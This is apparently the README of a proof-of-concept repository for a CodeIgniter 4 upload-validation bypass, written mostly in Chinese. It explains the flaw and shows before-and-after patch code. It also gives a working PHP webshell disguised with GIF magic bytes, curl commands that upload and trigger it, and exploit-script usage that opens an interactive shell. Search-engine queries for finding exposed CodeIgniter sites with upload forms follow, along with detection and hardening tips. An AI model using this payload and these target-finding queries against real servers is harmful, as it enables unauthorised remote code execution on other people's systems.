CVSS 9.8(严重) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434:危险类型文件的不受限制上传
修复版本:CodeIgniter 4 v4.7.4
安全公告:GHSA-mmj4-63m4-r6h5
CodeIgniter 4 的 is_image 和 mime_in 文件上传验证规则仅检查基于内容派生的 MIME 类型(魔数),而不检查客户端提供的文件扩展名。
未认证的攻击者可以在 PHP webshell 前添加图片魔数(GIF89a、\xFF\xD8\xFF\xE0、\x89PNG…),将其命名为 shell.php,即可在保留危险的可执行扩展名的同时通过 is_image 或 mime_in 验证。当上传文件存储在可通过 Web 访问的目录中时,攻击者即可实现任意远程代码执行。
is_image 或 mime_in 验证上传文件,但没有独立的扩展名检查(ext_in).php 扩展名)v4.7.4 中的修复新增了两个辅助方法,并将其接入验证规则:
is_image — 修复前与修复后// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
return false;
}
return true;
// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
return false;
}
if ($this->hasInvalidImageClientExtension($file)) { // ← NEW
return false;
}
return true;
mime_in — 修复前与修复后// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
return true;
// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
if ($this->hasMismatchedClientExtension($file)) { // ← NEW
return false;
}
return true;
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
return mb_strpos($type, 'image') !== 0;
}
// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
return $file->guessExtension() !== $clientExtension;
}
关键点:该修复委托现有的 Mimes::guessTypeFromExtension() 和 $file->guessExtension() 方法,新增了第二层验证。没有扩展名的上传文件(例如 JavaScript Blob 对象)仍然会被接受。
CVE-2026-63223-POC/
├── README.md ← this file
├── Dockerfile ← vulnerable lab setup
├── docker-compose.yml ← easy `docker compose up`
├── exploit/
│ └── exploit.py ← Python exploit script
└── vulnerable-app/
├── app/Controllers/Upload.php ← vulnerable controller
├── app/Config/Routes.php ← routing
└── app/Views/
├── upload_form_avatar.php ← is_image bypass form
├── upload_form_doc.php ← mime_in bypass form
└── upload_form_safe.php ← SAFE reference form
# Build & start the vulnerable app
docker compose up -d
# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"
# Open in browser
open http://localhost:8080/upload/avatar
# Install dependency
pip install requests
# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"
# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell
# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data
# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar
# Execute
curl http://localhost:8080/uploads/evil.php?c=id
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method jpg --filename wp-admin.php --cmd "ls -la /"
# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method png --filename config.phtml --shell
PHP 的 $_FILES 超全局变量以及 CodeIgniter 的 UploadedFile 对象携带两条相互独立的信息:
type / getMimeType() — 根据文件的魔数派生(基于内容),由浏览器作为 multipart 上传的 Content-Type 部分发送name / getClientName() — 来自客户端的原始文件名,包含扩展名在补丁发布之前,is_image 和 mime_in 仅检查第 1 项。攻击者发送:
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif
GIF89a
<?php system($_REQUEST['c']); ?>
is_image 识别为 image/gif → 通过shell.php 保存(保留客户端文件名).php 文件 → RCE补丁发布后,扩展名会被交叉检查:
hasInvalidImageClientExtension() 识别到 .php → 拒绝在您的 uploads 目录中查找带有图片魔数的 PHP/PHTML/PHP5 文件:
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'
# Or check raw bytes
xxd uploads/*.php | head
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"
# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"
# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"
# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"
# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"
# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"
# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"
# CI4 session fingerprint in Set-Cookie
header="ci_session"
# Broad CI4 detection
app="CodeIgniter Framework"
# ZoomEye
app:"CodeIgniter" +"file upload"
# Censys
services.http.response.body:"Welcome to CodeIgniter"
is_image/mime_in 之外同时添加 ext_in 规则<Directory "/var/www/html/public/uploads">
php_admin_flag engine off
</Directory>
此 PoC 仅用于教育目的和经授权的安全测试。该漏洞已通过负责任披露流程报告并修复。请勿将其用于您不拥有或未经明确授权测试的系统。作者对滥用行为不承担任何责任。
| 端点 | 漏洞状态 | 验证规则 |
|---|
/upload/avatar | 存在漏洞 | 仅 is_image |
/upload/document | 存在漏洞 | 仅 mime_in |
/upload/safe | 安全(对照组) | is_image + ext_in |